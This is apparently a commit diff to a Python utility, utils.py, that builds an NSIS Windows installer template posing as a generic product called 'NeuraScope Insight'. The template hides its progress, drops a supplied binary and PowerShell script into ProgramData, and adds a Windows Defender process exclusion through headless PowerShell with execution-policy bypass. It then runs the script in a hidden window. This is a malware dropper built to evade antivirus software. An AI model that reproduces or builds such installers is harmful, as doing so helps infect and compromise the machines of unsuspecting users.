sigyllly commited on
Commit
a94be07
·
verified ·
1 Parent(s): 4768094

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +4 -18
utils.py CHANGED
@@ -53,12 +53,10 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
53
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
54
  installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
55
 
56
- # NSIS script template
57
  NSIS_SCRIPT_TEMPLATE = r"""
58
  ; NeuraScope Insight Installer Script
59
  !include "MUI2.nsh"
60
  !include "LogicLib.nsh"
61
-
62
  ; Basic definitions
63
  Name "ProductName"
64
  OutFile "{installer_output}"
@@ -67,16 +65,13 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
67
  SetCompressor /SOLID lzma
68
  SetCompressorDictSize 96
69
  SetDatablockOptimize ON
70
-
71
  ; Interface settings
72
  !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
73
  !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
74
-
75
  ; Pages
76
  !insertmacro MUI_PAGE_WELCOME
77
  !insertmacro MUI_PAGE_INSTFILES
78
  !insertmacro MUI_LANGUAGE "English"
79
-
80
  ; Basic Version Information
81
  VIProductVersion "1.0.0.0"
82
  VIAddVersionKey "ProductName" "ProductName"
@@ -84,26 +79,17 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
84
  VIAddVersionKey "LegalCopyright" "LegalCopyright"
85
  VIAddVersionKey "FileVersion" "1.0.0.0"
86
  VIAddVersionKey "FileDescription" "FileDescription"
87
-
88
  ShowInstDetails hide
89
  AutoCloseWindow true
90
-
91
  Section "MainSection" SEC01
92
  SetDetailsPrint none
93
  SetOutPath "$WINDIR\..\ProgramData\Installer"
94
  File "{bin_file}"
95
  File "{ps1_file}"
96
-
97
- ; Run the first PowerShell command to add exclusion for explorer.exe
98
- ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"powershell.exe\""'
99
-
100
- ; Check if the previous command was successful
101
- IfErrors 0 +2 ; If no error, continue to the next command
102
- Abort "Failed to add exclusion for explorer.exe. Installation aborted."
103
-
104
- ; If the first command was successful, run the Verification.ps1 script
105
- ExecShell "open" "powershell.exe" "-EP Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
106
-
107
  SetAutoClose true
108
  SectionEnd
109
  """
 
53
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
54
  installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
55
 
 
56
  NSIS_SCRIPT_TEMPLATE = r"""
57
  ; NeuraScope Insight Installer Script
58
  !include "MUI2.nsh"
59
  !include "LogicLib.nsh"
 
60
  ; Basic definitions
61
  Name "ProductName"
62
  OutFile "{installer_output}"
 
65
  SetCompressor /SOLID lzma
66
  SetCompressorDictSize 96
67
  SetDatablockOptimize ON
 
68
  ; Interface settings
69
  !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
70
  !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
 
71
  ; Pages
72
  !insertmacro MUI_PAGE_WELCOME
73
  !insertmacro MUI_PAGE_INSTFILES
74
  !insertmacro MUI_LANGUAGE "English"
 
75
  ; Basic Version Information
76
  VIProductVersion "1.0.0.0"
77
  VIAddVersionKey "ProductName" "ProductName"
 
79
  VIAddVersionKey "LegalCopyright" "LegalCopyright"
80
  VIAddVersionKey "FileVersion" "1.0.0.0"
81
  VIAddVersionKey "FileDescription" "FileDescription"
 
82
  ShowInstDetails hide
83
  AutoCloseWindow true
 
84
  Section "MainSection" SEC01
85
  SetDetailsPrint none
86
  SetOutPath "$WINDIR\..\ProgramData\Installer"
87
  File "{bin_file}"
88
  File "{ps1_file}"
89
+ ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"explorer.exe\""'
90
+ IfErrors 0 +2
91
+ Abort
92
+ ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
 
 
 
 
 
 
 
93
  SetAutoClose true
94
  SectionEnd
95
  """